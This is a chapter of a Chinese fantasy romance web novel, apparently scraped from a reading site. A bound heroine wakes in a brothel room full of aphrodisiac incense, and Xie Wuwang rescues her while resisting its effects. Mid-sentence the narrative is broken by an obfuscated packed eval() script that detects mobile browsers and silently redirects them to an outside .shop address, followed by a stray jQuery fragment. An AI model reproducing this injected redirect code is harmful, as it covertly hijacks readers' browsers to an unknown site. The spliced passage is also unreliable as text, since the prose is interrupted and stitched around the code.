“公子……再来一杯嘛~”
“公子,最后一杯……我敬你……”
楼下喧哗声不断,丝竹声夹杂着男女调笑,隔着薄薄的窗纱传进来。
昭知猛地睁开眼。
映入眼帘的是一顶绯红色的床帐,昏暗的房间被烛灯笼着,帐顶绣着鸳鸯戏水的图案。帐钩是鎏金的,雕成缠枝莲花的形状,垂着大红色的流苏。
她的瞳孔微微一缩。
这不是谢府。
她低头看向自己——衣物完好,是出门时那身月白色的素雅长裙,发髻有些松散,几缕碎发散落在耳侧。
房间不大,陈设却极尽奢华。
红木桌椅,雕花妆台,铜镜擦得锃亮,妆台上摆满了各色胭脂水粉。
窗边垂着半透明的纱帘,隐约能看见楼下传来的喧哗声——丝竹管弦,男女调笑,酒杯碰撞。
昭知眉心微蹙,身子略微一动,想要翻身下床,这才惊觉自己的手脚皆被绑着。
她倏地眯起眼,仔细回想刚刚发生的事情——
她原本想着为离开帝都前做一些准备,在街上采买,再然后……便什么都不记得了。
怎么会有人能让她悄无声息地昏过去,并且似乎有什么阻隔了她的意识。
昭知脑中飞速运转如何脱困,一旁的烛火悠悠燃着,在她眼底映出一小簇火苗。她欲起身,想通过那点点火种将身上的绳索烧断,却发现自己用不上一丝力气。
昭知努力挣扎了一番,但四肢就像没了知觉一般,动弹不得。
她轻轻吸了口气,只能重新想别的办法。
时间一点点流逝,烛火幌动中已经燃了一半。
忽地,她听到一丝细微的声响。
昭知侧目看去,那动响被屏风阻隔在外,隐隐约约的透着。
昭知心下一滞。
因为这短暂的未知,她心下竟莫名生出了一丝……恐惧。
那恐惧来源没有由头,混着楼下的调笑声,在这昏暗的房间里愈演愈烈。
不一会儿,窗户猛地被撬开,一阵凉风将室内的烛灯吹得站立不稳,摇摇晃晃发出噼啪的声响。
那脚点地的声响尽管已经被对方隐藏的很好,但此刻房屋寂静,这细微的动静在昭知敏感的耳力中格外明显。
昭知突然眼前一黑。
一个人影轻飘飘地落在她身前,捂住了她的口鼻,那人竖起手指贴在唇上,示意她不要出声。
比起先看清来人是谁,那熟悉的气息却先扑面而来。
是谢无妄。
他穿着今日出门的衣裳,丝毫未动,面上虽毫无波澜,但昭知却透过那双眼睛看清了他眼中滔天的怒意,只不过被暂时压在了这平静之下。
谢无妄垂下眼去看她手脚上束着的绳索,眉头微微一皱,手上动作却未停,迅速地解着她手脚上的束缚。
谢无妄压低声音,阴沉的嗓音隐隐透着他的不满,“都说了不准私自接近那家伙,还要擅自行动......可看清绑你之人?”
昭知摇头,她视线紧落在谢无妄的面庞上,看着他一脸严肃,沉默了一瞬,主动解释道:“我只是想帮你采买一些路上能用到的物品,没有做别的。”
谢无妄手上动作一顿,面色依旧阴晴不定,他轻哼了一声,语气变得软了不少,“笨,居然还遭人暗算。”
“幸亏我的灵力能感应到你的位置,谁知道是不是某些人偷偷私会,居然还选在这种地方......”
他说到一半,看着昭知懵懂的目光,突然说不下去了。
谢无妄咳了一声,“不说了,快些走。”
昭知顿了顿,“你在生气,我解释了,但你为何还在生气?”
“......谁说的?”
昭知叹了口气,“没有私会。”
“......知道了。”谢无妄站起身,“你要是想在这儿呆着,那我就先走了。”
昭知蜷了蜷指尖,“谢无妄,我动弹不得。”
谢无妄眉心骤蹙,重新蹲回昭知身边,“你被绑时可有人对你做什么?”
昭知摇头,“我记不清了.....只知道我在街上采买时,似乎有一个东西撞了我一下,后面的事完全记不清了。”
谢无妄喃喃自语,“寻常迷药对你怎么可能会有效果......”
他思所片刻,手心穿过昭知的膝窝,揽住她的腰身,欲将人抱起。
昭知突然动了。
她伸出双手,柔白的指尖攀上谢无妄的脖颈,缓缓插‘入他的发丝间,将人朝自己身躯压了过来,似乎在和他较着劲,不肯被抱起来。
谢无妄猝不及防被她拉近,四目相对,脸畔的呼吸交融,昭知带着凉意的呼吸被他温热的体温消解,鼻间萦绕着的劣质胭脂气被昭知身上特有的冷冽气息所冲散,他呼吸停滞了一瞬。
“你......”
昭知的手如莹润的冷玉,轻轻划过谢无妄的侧颈,落在了他的鼻尖上,轻抚摩挲,动作略显轻佻,谢无妄却从她双眸中看到一丝近乎无措的茫然,“不是我......”
说着,她划进谢无妄青丝间的那只手解开了他总是系着的郁金发带,墨发一瞬间倾泻,与昭知垂落在肩头的发丝轻飘飘的缠在了一起。
昭知揽着他的脑袋,倾身朝他贴去。
谢无妄看着离自己愈发近的那张熟悉的面孔,瞳孔微缩,直到唇边的微凉气息即将落下的一瞬,他猛地站起身,拉开了两人距离。
谢无妄微微张着唇,似乎是被她的举措惊到了一般。
昏暗的烛光令昭知看不清谢无妄的神情,只是内心油然而生的一丝莫名的近似于尴尬的情绪,却想不出具体的形容,“我、我不受自己控制!”
谢无妄这才如大梦初醒一般。
烛光晃动,映在他染着血色的耳尖上,他犹豫一瞬,重新牵起昭知的手,“我带你回谢府。”
昭知猛地拉住谢无妄,将人朝床榻上倾倒。
谢无妄对昭知的心里防备显然不足,竟轻而易举地被人压在了榻上。
昭知跪、坐在谢无妄身上,居高临下的看着他,担忧道:“你身上怎么这样烫?”
谢无妄下意识想反驳,但昭知冰凉的手贴近他的脸颊时,他这才惊觉自己身上的体温烫的厉害,就连某处也发生微妙的变化。
他暗骂一声,“艹……”
这间屋子,点着迷、情香。
昭知俯身,欲贴上他那双薄唇。
谢无妄因着那香,身上泛着点轻飘飘的软绵,但看着近在咫尺的昭知,还是迅猛抬起手,捂住了她的唇。
他另一只手臂半撑在床、上,半边身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695816|202704||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子微微坐起,将两人距离微微拉开。
谢无妄偏过头,不再看她,“这屋子不对劲……想必将你绑到此处之人也知晓二皇子今晚之举,把你扔在这个房间,等着二皇子进到这屋里,再加上这迷、情香……”
他冷笑一声,“他本就对你有意,若真是如此,二皇子同谢家少夫人在这种地方行不苟之事传出去,算是与谢家彻底决裂……”
“……你身上好烫……”
她那微凉的气息拂上来,在谢无妄灼热的手心上晕染开,仿佛一滴清水落进了烧红的烙铁印里,无声地蒸腾。
那凉意,像一片无形的羽毛,在她灼热的肌肤上留下了一道转瞬即逝却又异常清晰的痕迹,惊起一阵细密的、无法抑制的酥麻,一路蔓延到指尖。
谢无妄猛地撤回手,依旧不肯看她,“走,在其他人来这房间之前……”
他说着,昭知忽地扑进他的怀里,双手缠上他的腰身,指尖勾着外衣,欲要拨开。
谢无妄抓住她的手,“你跟谁学……!”
想说些什么,却通通如鲠在喉。
是了,这非她本愿,想骂也骂不出口。
谢无妄抬起头,看向昭知,那双眼睛,眼底染着血丝,此刻已经不复清明,深处藏着一丝昭知解读不出的隐忍。
昭知手上的动作虽然被制止,但身子依旧不住地朝他身上蹭着。
谢无妄眸色一暗,他目光扫过被扔在一旁的绳索,揽住昭知的腰身,将人重新压回了床榻内侧。
他用腿半抵着昭知不停乱动的双足,伸手去拿被随意弃在床榻一侧的绳索,但略微一动,压制身下之人的重量便会稍稍移开,昭知的手脚便又会缠上来。
谢无妄暗骂,别无他法,只好压下身子,将昭知完全地拢在自己的阴影之下。
他的腰腹不敢贴的太近,始终悬空着,两人之间隔着一拳距离。
昭知的手没了束缚,蠢蠢欲动攀上了他的腰身。
谢无妄猛地转过头,“别乱动!”
昭知不动了,但不是因为他的这句话,而是因为此时两人之间的距离太近了——近到呼吸相闻,属于谢无妄温热的气息扑面而来,带着不似寻常的炙热。
谢无妄眼睫垂落,昏暗下的那点微弱的烛光映着,昭知在他那隐藏在深处,不易察觉的光亮之下看到了属于她的身影。
昭知愣住了。
她那带着一丝属于人的懵懂无措的双眸毫无防备地撞进了谢无妄眼底。
谢无妄呼吸沉了一瞬。
就在两人都沉寂下来之时,屋子一旁的间房响起一阵稀稀疏疏的喘息摇晃的声音。
“……”
“什么声音?”
谢无妄充耳不闻,快速将绳索捡起。
“你是不是又受我的影响,发烧了?为什么耳朵这么红……脸也是……”
“闭嘴!”谢无妄出声打断。
他迅速将绳索重新绑在昭知的手腕上,然后逃一般的从昭知身上撤下来。
“公子,一切都给您安排妥当了,里面可是还给您藏了惊喜呢~”
门外的女人捏着嗓子说着,声音由远到近。她的话音刚落,谢无妄便听到二皇子那熟悉的嗓音,那音色之中藏不住的惊喜,“莫不是元姑娘今日肯接客了?”
他说罢,猛地推开房门。